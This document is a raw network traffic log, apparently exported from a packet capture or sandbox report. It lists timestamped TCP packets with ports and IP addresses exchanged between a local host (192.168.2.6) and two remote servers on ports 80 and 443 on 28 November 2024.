Nov 28, 2024 00:19:20.014905930 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.016643047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.016654968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.016710043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.018565893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.018642902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.018672943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.018718958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.020551920 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.020607948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.020692110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.020737886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.022614956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.022667885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.022756100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.022823095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.024507999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.024559975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.024571896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.024610043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.026500940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.026559114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.026608944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.026657104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.028469086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.028515100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.028654099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.028698921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.030468941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.030517101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.037146091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.037200928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.037251949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.037292957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.037990093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.038033962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.038078070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.038122892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.039978981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.039998055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.040025949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.040041924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.041986942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.042040110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.042094946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.042140007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.043988943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.044034004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.044044971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.044084072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.045948029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.046003103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.046108007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.046152115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.047907114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.047971964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.048036098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.048090935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.049436092 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.049462080 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.049509048 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.049524069 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.049557924 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.049557924 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.049901009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.049948931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.049997091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.050038099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.051856995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.051904917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.051955938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.052000999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.053884983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.053932905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.053987026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.054042101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.055829048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.055874109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.055969000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.056006908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.089421034 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.089447021 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.089498997 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.089512110 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.089554071 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.089554071 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.111291885 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.111323118 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.111381054 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.111392975 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.111428022 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.111445904 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.133764029 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.133786917 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.133858919 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.133872032 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.133928061 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.150167942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.150224924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.150363922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.150413990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.151051998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.151099920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.151158094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.151211977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.152863979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.152909994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.152928114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.152968884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.154525995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.154577017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.154612064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.154654980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.156327963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.156369925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.156424999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.156461954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.158041954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.158090115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.158171892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.158220053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.159883976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.159898043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.159929991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.159953117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.161546946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.161593914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.161676884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.161716938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.163178921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.163232088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.163295031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.163341045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.164861917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.164906979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.165045977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.165082932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.166626930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.166682005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.166779995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.166821003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.168435097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.168484926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.168524981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.168572903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.170078993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.170142889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.170227051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.171684027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.171746016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.171816111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.171891928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.173347950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.173392057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.173489094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.173526049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.174995899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.175029039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.175173044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.175208092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.176629066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.176685095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.176835060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.176872015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.178153038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.178193092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.178427935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.178474903 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.179697990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.179743052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.189265013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.189316034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.189500093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.189538002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.189950943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.190041065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.190090895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.190129042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.191704988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.191756010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.191777945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.191819906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.192953110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.192996979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.193207979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.193254948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.194489002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.194538116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.194575071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.194613934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.195988894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.196026087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.196084976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.196121931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.197500944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.197545052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.197597980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.197640896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.199033022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.199080944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.199145079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.199183941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.200509071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.200562954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.200627089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.200681925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.201984882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.202028990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.202060938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.202095032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.203527927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.203571081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.203603029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.203633070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.205058098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.205104113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.205166101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.205214024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.206520081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.206569910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.206679106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.206718922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.208098888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.208151102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.208226919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.208256960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.209491014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.209537983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.209887981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.209943056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.211008072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.211050987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.211097956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.211159945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.212523937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.212567091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.212666035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.212712049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.214075089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.214118004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.214118004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.214154959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.215559959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.215605974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.215634108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.215672016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.217080116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.217134953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.217170000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.217271090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.218584061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.218626022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.218633890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.218668938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.220036983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.220074892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.220176935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.220252037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.221544027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.221584082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.221681118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.221720934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.223021984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.223069906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.238574982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.238653898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.238675117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.238702059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.239108086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.239151001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.239217043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.239259958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.240288019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.240324974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.240339994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.240370989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.241784096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.241825104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.241889000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.241923094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.243299961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.243334055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.243356943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.243391037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.244477034 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.244503021 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.244544029 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.244555950 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.244590044 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.244604111 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.244734049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.244775057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.244781971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.244827032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.246309996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.246351957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.246378899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.246417046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.247749090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.247792959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.247843981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.247880936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.249357939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.249408960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.249473095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.249516964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.250802994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.250817060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.250849962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.250864029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.252240896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:20.252286911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:20.262614965 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.262635946 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.262707949 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.262718916 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.262775898 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.276514053 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.276534081 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.276608944 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.276617050 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.276679993 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.292248964 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.292279005 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.292316914 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.292327881 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.292359114 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.292383909 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.307972908 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.307995081 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.308043957 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.308053017 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.308083057 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.308101892 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.322627068 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.322647095 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.322946072 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.322957039 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:20.325624943 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:20.329217911 CET	443	49718	13.107.246.63	192.168.2.6
